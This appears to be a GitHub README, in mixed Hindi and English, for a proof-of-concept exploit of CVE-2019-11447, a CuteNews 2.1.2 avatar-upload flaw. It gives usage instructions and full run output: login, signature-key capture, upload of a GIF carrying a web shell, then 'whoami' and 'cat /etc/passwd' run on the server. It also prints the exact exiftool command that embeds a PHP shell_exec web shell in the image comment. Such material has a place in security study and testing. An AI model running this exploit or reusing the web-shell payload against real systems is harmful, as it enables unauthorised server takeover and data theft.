crfslick/cve-2019-11447-pocCuteNews 2.1.2 - CVE-2019-11447 प्रूफ-ऑफ-कॉन्सेप्ट
CuteNews 2.1.2 - CVE-2019-11447 Proof-Of-Concept
CRFSlick द्वारा POC, AkkuS <Özkan Mustafa Akkuş> द्वारा खोजा गया
CutePHP CuteNews 2.1.2 में एक समस्या पाई गई। एक हमलावर प्रोफ़ाइल क्षेत्र में अवतार अपलोड प्रक्रिया के माध्यम से, avatar_file फ़ील्ड के ज़रिए index.php?mod=main&opt=personal पर सर्वर में घुसपैठ कर सकता है। /core/modules/dashboard.php में $imgsize का कोई प्रभावी नियंत्रण नहीं है। फ़ाइल की हेडर सामग्री को बदला जा सकता है और कोड निष्पादन के लिए नियंत्रण को दरकिनार किया जा सकता है। (हमलावर इसके लिए GIF हेडर का उपयोग कर सकता है।)
Usage:
CVE-2019-1144.py <username> <password> <base uri / login page>
Example:
CVE-2019-1144.py admin p4ssw0rd http://192.168.1.19/CuteNews/index.php
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ python3 CVE-2019-11447.py admin p4ssw0rd http://192.168.1.19/CuteNews/index.php
-.-. --- --- .-.. .... ....- -..- --- .-. -... .- -. -. . .-.
[*] Detected version 'CuteNews 2.1.2'
[*] Grabbing session cookie
[*] Logging in as admin:p4ssw0rd
[+] Login Success!
[*] Grabbing __signature_key and __signature_dsi needed for pofile update request
[+] __signature_key: 45ad06a9fc89f75e7ef046a11079c33d-admin
[+] __signature_dsi: 71e41d6500f2dc51d0606f64539f84b1
[*] Uploading evil avatar... Done!
[*] Validating that the file was uploaded... Yup!
[+] http://192.168.1.19/CuteNews/uploads/avatar_admin_5629.php?cmd=<cmd>
[*] Looks like everything went smoothly, lets see if we have RCE!
[*] Keep in mind that this shell is limited, no STDERR
$> whoami
www-data
$> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
दुर्भावनापूर्ण GIF को इंटरनेट से लिया गया और फिर आवश्यक PHP डालने के लिए exiftool का उपयोग करके संशोधित किया गया।
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ exiftool -Comment='<?php echo "'"\n\ndGhpc3dlYnNoZWxsb3V0cHV0c3RhcnRzaGVyZQ==\n\n\n"'"; echo shell_exec($_GET["'"cmd"'"]); echo "'"\n\ndGhpc3dlYnNoZWxsb3V0cHV0ZW5kc2hlcmU=\n\n"'";?>' sad.gif
Exiftool छवि की मेटाडेटा दिखाएगा जहाँ आपको टिप्पणी के अंदर रखा गया PHP कोड मिलेगा।
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ exiftool sad.gif
ExifTool Version Number : 12.05
File Name : sad.gif
...
Comment : <?php echo "\n\ndGhpc3dlYnNoZWxsb3V0cHV0c3R...
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए है और इसका उपयोग कानून उल्लंघन या व्यक्तिगत लाभ के लिए नहीं किया जा सकता। इस प्रोजेक्ट का लेखक सामग्री से होने वाले किसी भी संभावित नुकसान के लिए जिम्मेदार नहीं है।